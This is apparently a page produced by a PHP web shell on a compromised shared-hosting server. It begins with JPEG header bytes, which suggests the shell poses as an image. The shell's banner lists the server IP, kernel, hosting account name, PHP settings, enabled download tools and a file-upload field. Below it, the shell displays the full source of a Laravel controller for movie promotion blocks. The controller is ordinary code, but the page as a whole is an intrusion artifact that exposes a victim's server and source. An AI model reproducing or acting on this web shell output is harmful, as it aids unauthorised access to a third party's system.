����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.145.109.97 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/ |
Upload File : |
<?php namespace App\Http\Controllers; use App\HomeBlock; use App\Movie; use App\TvSeries; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Validator; class HomeBlockController extends Controller { public function __construct() { $this->middleware('permission:front-settings.short-promo', ['only' => ['index', 'create', 'store', 'edit', 'update', 'destroy', 'bluk_delete']]); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $home_blocks = HomeBlock::orderBy('id', 'asc')->get(); return view('admin.home-block.index', compact('home_blocks')); } /** * Show the form for creating the specified resource. * * @param \App\Coupon $id * @return \Illuminate\Http\Response */ public function create() { $movie_list = Movie::pluck('title', 'id')->all(); $tv_series_list = TvSeries::pluck('title', 'id')->all(); return view('admin.home-block.create', compact('movie_list', 'tv_series_list')); } /** * Store the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Product $id * @return \Illuminate\Http\Response */ public function store(Request $request) { if (env('DEMO_LOCK') == 1) { return back()->with('deleted', __('This action is disabled in the demo !')); } $input = $request->all(); if (!isset($input['is_active'])) { $input['is_active'] = 0; } HomeBlock::create($input); return back()->with('success', __('Promotion Settings Block has been added')); } /** * Show the form for editing the specified resource. * * @param \App\Coupon $id * @return \Illuminate\Http\Response */ public function edit($id) { $home_block = HomeBlock::findOrFail($id); if ($home_block->movie_id != null) { //$movie_dtl = Movie::findOrFail($home_block->movie_id); $movie_list = Movie::pluck('title', 'id')->all(); $tv_series_list = TvSeries::pluck('title', 'id')->all(); return view('admin.home-block.edit', compact('home_block', 'movie_list', 'tv_series_list')); } elseif ($home_block->tv_series_id != null) { //$tv_series_dtl = TvSeries::findOrFail($home_block->tv_series_id); $movie_list = Movie::pluck('title', 'id')->all(); $tv_series_list = TvSeries::pluck('title', 'id')->all(); return view('admin.home-block.edit', compact('home_block', 'movie_list', 'tv_series_list')); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Product $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (env('DEMO_LOCK') == 1) { return back()->with('deleted', __('This action is disabled in the demo !')); } $input = $request->all(); $home_block = HomeBlock::findOrFail($id); if (!isset($input['is_active'])) { $input['is_active'] = 0; } $home_block->update($input); return redirect('admin/home-block')->with('success', __('Promotion Settings Block has been updated')); } public function destroy($id) { if (env('DEMO_LOCK') == 1) { return back()->with('deleted', __('This action is disabled in the demo !')); } $home_block = HomeBlock::findOrFail($id); $home_block->delete(); return back()->with('deleted', __('Promotion Settings Block has been deleted')); } public function bulk_delete(Request $request) { if (env('DEMO_LOCK') == 1) { return back()->with('deleted', __('This action is disabled in the demo !')); } $validator = Validator::make($request->all(), [ 'checked' => 'required', ]); if ($validator->fails()) { return back()->with('deleted', __('Please select one of them to delete')); } foreach ($request->checked as $checked) { $home_block = HomeBlock::findOrFail($checked); $home_block->delete(); } return back()->with('deleted', __('Promotion Settings Block has been deleted')); } }